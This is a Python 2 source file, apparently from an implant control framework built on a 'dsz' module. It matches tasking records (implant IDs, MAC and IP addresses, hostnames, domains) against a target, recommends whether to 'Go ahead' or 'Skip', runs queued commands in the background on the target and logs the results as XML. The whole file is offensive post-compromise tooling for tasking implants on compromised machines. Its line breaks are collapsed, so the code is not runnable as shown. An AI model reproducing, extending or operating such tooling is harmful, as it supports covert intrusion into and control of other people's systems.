import dsz import dsz.menu import os import re import xml.dom.minidom import tasking MaximumTasks = 'MaximumTasks' HostName = 'HostName' Domain = 'Domain' IpAddress = 'IpAddress' Mac = 'Mac' PcId = 'PcId' Guid = 'Guid' SuccessfulMatch = 0 QuestionableMatch = 1 NoMatch = 2 class Tasking(object, ): def __init__(self, name, metadata): self.bRan = False self.name = name self.id = list() self.mac = list() self.ip = list() self.hostname = list() self.domain = list() self.guid = list() self.tasks = list() self.runningTasks = list() self.Recommendation = None f = open(metadata, 'r') try: for line in f: line = line.strip() m = re.match('Implant ID: +(.*)', line) if m: self.id += [x.strip() for x in m.group(1).split(', ')] m = re.match('MAC: +(.*)', line) if m: self.mac += [unicode(x.strip(), 'utf_8') for x in m.group(1).split(', ')] m = re.match('IP: +(.*)', line) if m: self.ip += [unicode(x.strip(), 'utf_8') for x in m.group(1).split(', ')] m = re.match('Hostname: +(.*)', line) if m: self.hostname += [unicode(x.strip(), 'utf_8') for x in m.group(1).split(', ')] m = re.match('Domain: +(.*)', line) if m: self.domain += [unicode(x.strip(), 'utf_8') for x in m.group(1).split(', ')] finally: f.close() temp = list() for ip in self.ip: while ('%%' in ip): ip = ip.replace('%%', '%') temp.append(ip) self.ip = temp pass def Dump(self): dsz.ui.Echo('---------------------------------------------') dsz.ui.Echo(('Tasking for %s' % self.name)) for id in self.id: dsz.ui.Echo(('ID: %s' % id)) for mac in self.mac: dsz.ui.Echo(('MAC: %s' % mac)) for ip in self.ip: dsz.ui.Echo(('IP: %s' % ip)) dsz.ui.Echo(('Host:%s' % self.hostname)) dsz.ui.Echo(('Dom: %s' % self.domain)) for task in self.tasks: task.Display() dsz.ui.Echo('---------------------------------------------') def EvaluateThisTarget(self, info, bDisplay=False): self.PcMatch = compareData('PC Ids', set([long(x, 16) for x in self.id]), set([long(x, 16) for x in info[PcId]]), '0x%016x', align='', bDisplay=bDisplay) self.MacMatch = compareData('Mac', set([x.upper() for x in self.mac]), set([x.upper() for x in info[Mac]]), bDisplay=bDisplay) self.IpMatch = compareData('Ip Addresses', set([x.upper() for x in self.ip]), set([x.upper() for x in info[IpAddress]]), bDisplay=bDisplay) self.HostNameMatch = compareData('HostName', set([x.upper() for x in self.hostname]), set([x.upper() for x in info[HostName]]), bDisplay=bDisplay) self.DomainMatch = compareData('Domain', set([x.upper() for x in self.domain]), set([x.upper() for x in info[Domain]]), bDisplay=bDisplay) self.GuidMatch = compareData('GUID', set([x.upper() for x in self.guid]), set([x.upper() for x in info[Guid]]), bDisplay=bDisplay) self.Recommendation = makeRecommendation(self.PcMatch, self.MacMatch, self.IpMatch, self.HostNameMatch, self.DomainMatch, self.GuidMatch, self, info) def DisplayMatchAndConsiderStart(self, info, bAutomated, bForce=False): dsz.ui.Echo(printLine('-', 80)) dsz.ui.Echo(printHeader('Tasking Match Information', 80)) dsz.ui.Echo(printLine('-', 80)) if ((self.Recommendation == None) or bForce): self.EvaluateThisTarget(info, bDisplay=True) resultList = [displayResult('PC Id', self.PcMatch, 'Definately Match', 'Suspicious match', 'No Match'), displayResult('MAC', self.MacMatch, 'Match', 'Match', 'No Match', PartialType=dsz.GOOD), displayResult('IP', self.IpMatch, 'Match', 'Match', 'No Match', PartialType=dsz.GOOD), displayResult('HostName', self.HostNameMatch, 'Match', 'Suspicious match', 'No Match'), displayResult('Domain', self.DomainMatch, 'Match', 'Suspicious match', 'No Match'), displayResult('Guid', self.GuidMatch, 'Match', 'Match', 'No Match', PartialType=dsz.GOOD), displayResult('Recommendation', self.Recommendation, 'Go ahead', 'Consider carefully', 'Skip')] space = max([len(x[0]) for x in resultList]) for result in resultList: format = ('%%%ds : %%s' % space) dsz.ui.Echo((format % (result[0], result[1])), result[2]) if bAutomated: if (self.Recommendation == SuccessfulMatch): return True if (self.Recommendation == NoMatch): return False if (self.Recommendation == SuccessfulMatch): defaultAnswer = True else: defaultAnswer = False return dsz.ui.Prompt('Do you want to proceed with this tasking?', defaultAnswer) def DoTasking(self): self.bRan = True delayed = list() for task in sorted(self.tasks, key=(lambda task: int(task.Priority))): dsz.ui.Echo(('Preprocessing for %s task' % task.name)) task.Preprocessing() dsz.ui.Echo(' DONE', dsz.GOOD) if task.IsSkip(): continue if task.IsVerify(): if (not queryExecuteTask(delayed, task)): continue self.StartCommand(task) self.AreAnyCommandsRunning() if (len(delayed) > 0): dsz.ui.Echo(('You delayed execution of %d tasks.' % len(delayed))) if dsz.ui.Prompt('Do you want to try to run them now?'): self.tasks = delayed self.DoTasking() def StartCommand(self, task): cmds = task.CreateCommandLine() cmdData = list() for cmd in cmds: self.CanStartCommand() dsz.ui.Echo(('Starting task: %s' % cmd)) if dsz.cmd.Run(('task=%s background %s' % (task.TaskID, cmd))): dsz.ui.Echo(' STARTED', dsz.GOOD) self.runningTasks.append(dsz.cmd.LastId()) cmdData.append((cmd, dsz.cmd.LastId())) else: dsz.ui.Echo(' FAILED (Unable to create tasking!)', dsz.ERROR) RecordTask(task, cmdData) def CanStartCommand(self): while (self._currentNumberOfRunningCommands() >= dsz.script.Env[tasking.MaximumTasks]): delay = 5 dsz.ui.Echo(('No room to start commands. Sleeping for %d seconds.' % delay)) dsz.Sleep((delay * 1000)) dsz.ui.Echo(' SLEPT', dsz.GOOD) return True def AreAnyCommandsRunning(self): while (self._currentNumberOfRunningCommands() > 0): delay = 5 dsz.ui.Echo(('Waiting for the completion of running tasks. Sleeping for %d seconds.' % delay)) dsz.Sleep((delay * 1000)) dsz.ui.Echo(' SLEPT', dsz.GOOD) return True def _currentNumberOfRunningCommands(self): count = 0 dsz.ui.Echo('Counting running tasks') for t in self.runningTasks: if (not dsz.cmd.data.Get('CommandMetaData::IsRunning', dsz.TYPE_BOOL, t)[0]): self.runningTasks.remove(t) else: count = (count + 1) dsz.ui.Echo((' %d tasks running' % count), dsz.WARNING) return count def __str__(self): match = 'Uncertain Match' if (self.Recommendation == SuccessfulMatch): match = 'Probable Match' elif (self.Recommendation == NoMatch): match = 'Not A Match' state = '' if self.bRan: state = '(Already Ran)' return ('%s: %s %s' % (self.name, match, state)) def RecordTask(task, cmdData): resultsDir = ('%s/TaskResults' % dsz.script.Env['log_path']) try: os.mkdir(resultsDir) except: pass outputFile = ('%s/%s_%s_%s.xml' % (resultsDir, task.Priority, task.name, dsz.Timestamp())) doc = xml.dom.minidom.Document() results = doc.createElement('TaskResults') doc.appendChild(results) results.setAttribute('taskID', task.TaskID) results.setAttribute('targetID', task.TargetID) commands = doc.createElement('Commands') results.appendChild(commands) commands.setAttribute('tool', 'DSZ') for (cmd, id) in cmdData: command = doc.createElement('Command') commands.appendChild(command) type = doc.createElement('Type') command.appendChild(type) type.appendChild(doc.createTextNode(cmd)) location = doc.createElement('DSZPayloadLocation') command.appendChild(location) location.appendChild(doc.createTextNode(dsz.cmd.data.Get('CommandMetaData::XmlLog', dsz.TYPE_STRING, id)[0])) taskId = doc.createElement('TaskId') command.appendChild(taskId) taskId.appendChild(doc.createTextNode(dsz.cmd.data.Get('CommandMetaData::TaskId', dsz.TYPE_STRING, id)[0])) output = open(outputFile, 'w') try: output.write(doc.toprettyxml(indent=' ')) finally: output.close() def queryExecuteTask(delayedQueue, task): task.Display() (text, selected) = dsz.menu.ExecuteSimpleMenu('Do you wish to execute this task?', ['Yes, execute the task', 'No, but ask me again after doing other tasks', 'No, do not execute the task at all']) if (selected == (-1)): exit((-1)) elif (selected == 0): return True elif (selected == 1): delayedQueue.append(task) return False def makeRecommendation(PcMatch, MacMatch, IpMatch, HostNameMatch, DomainMatch, GuidMatch, TaskingInfo, HostInfo): if (PcMatch == SuccessfulMatch): return SuccessfulMatch if ((PcMatch == NoMatch) and (len(HostInfo[PcId]) > 0) and len(TaskingInfo.id)): return NoMatch if (MacMatch in [SuccessfulMatch, QuestionableMatch]): return SuccessfulMatch if (GuidMatch in [SuccessfulMatch, QuestionableMatch]): return SuccessfulMatch if (IpMatch == SuccessfulMatch): return SuccessfulMatch if ((HostNameMatch == SuccessfulMatch) and (DomainMatch == SuccessfulMatch)): return SuccessfulMatch if ((PcMatch == QuestionableMatch) or (IpMatch == QuestionableMatch) or (HostNameMatch == QuestionableMatch) or (DomainMatch == QuestionableMatch)): return QuestionableMatch return NoMatch def displayResult(name, result, Full, Partial, NoMatch, FullType=dsz.GOOD, PartialType=dsz.WARNING, NoMatchType=dsz.ERROR): if (result == SuccessfulMatch): return (name, Full, FullType) elif (result == QuestionableMatch): return (name, Partial, PartialType) else: return (name, NoMatch, NoMatchType) def compareData(name, tasking, local, format='%s', align='-', bDisplay=False): matches = (tasking & local) task = list((tasking - matches)) loc = list((local - matches)) if bDisplay: maxSize = max(15, max([len((format % x)) for x in ((tasking | local) | set([0]))])) lineFormat = ('%%%s%ds %%%s%ds' % (align, maxSize, align, maxSize)) dsz.ui.Echo(printHeader(name, ((2 * maxSize) + 4)), dsz.WARNING) dsz.ui.Echo((lineFormat % (printHeader('Tasking', maxSize), printHeader('Target', maxSize))), dsz.WARNING) dsz.ui.Echo(printLine('-', ((2 * maxSize) + 4))) matches = (tasking & local) for item in matches: dsz.ui.Echo((lineFormat % ((format % item), (format % item))), dsz.GOOD) task = list((tasking - matches)) loc = list((local - matches)) for i in range(0, max(len(task), len(loc))): left = '' right = '' if (i < len(task)): left = (format % task[i]) if (i < len(loc)): right = (format % loc[i]) dsz.ui.Echo((lineFormat % (left, right))) dsz.ui.Echo('') if ((len(matches) > 0) and (len(loc) > 0)): return QuestionableMatch elif (len(matches) > 0): return SuccessfulMatch else: return NoMatch def printHeader(string, size): while (len(string) < (size - 1)): string = (' %s ' % string) return string def printLine(ch, size): str = '' for i in range(0, size): str = ('%s%s' % (str, ch)) return str